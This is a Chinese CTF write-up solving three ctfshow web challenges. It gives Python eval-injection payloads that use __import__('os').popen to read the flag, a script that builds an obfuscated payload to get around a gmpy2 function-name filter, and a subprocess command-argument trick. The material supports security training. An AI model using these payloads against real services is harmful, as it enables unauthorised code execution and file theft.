ctfshow 菜狗杯 算力两题+easyPytHon_P

算力超群

随便输入，然后抓包发现变量

/_calculate?number1=5&operator=%2B&number2=5

一个一个参数挨着试，发现number2没被过滤，就用number2来执行py的命令

_calculate?number1=&operator=&number2=__import__('os').popen('ls /').read()
_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()

算力升级

from flask import *
import os
import re,gmpy2 
import json
#初始化全局变量
app = Flask(__name__)
pattern=re.compile(r'\w+')
@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')
@app.route('/tiesuanzi', methods=['POST'])
def tiesuanzi():
    code=request.form.get('code')
    for item in pattern.findall(code):#从code里把单词拿出来
        if not re.match(r'\d+$',item):#如果不是数字
            if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
               return jsonify({"result":1,"msg":f"你想干什么？{item}不是有效的函数"})
    try:
        result=eval(code)
        return jsonify({"result":0,"msg":f"计算成功，答案是{result}"})
    except:
        return jsonify({"result":1,"msg":f"没有执行成功，请检查你的输入。"})
@app.route('/source', methods=['GET'])
def source():  
    return render_template('source.html')
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)

传两个参数tiesuanzi（POST） source （GET）

#已经支持gmpy2了，可以使用gmpy2的函数进行计算，那我们赶快开始吧！ 
这个hint，就是用这个来做咯

s="__import__('os').popen('cat /flag').read()"
 
import gmpy2
 
payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("
 
for i in s:
        if i not in "/'(). ":
                temp_index=0
                temp_string='x'*20
                for j in dir(gmpy2):
                        if j.find(i)>=0:
                                if len(j)<len(temp_string):
                                        temp_string=j
                                        temp_index=j.find(i)
                payload+=f'\'{temp_string}\'[{temp_index}]+'
        else:
                payload+=f'\"{i}\"+'
 
payload=payload[:-1]+')'
 
print(payload)

gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")") 

easyPytHon_P

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

subprocess.run用来执行命令
[cmd[:3]     切片cmd命令的前三位
param 就是命令参数
__file__不知道什么东西不管

传参的时候被误导了，这里我以为是GET结果是POST

cmd=ls&param=./                 
发现flag.txt
cmd=cat&param=./flag.txt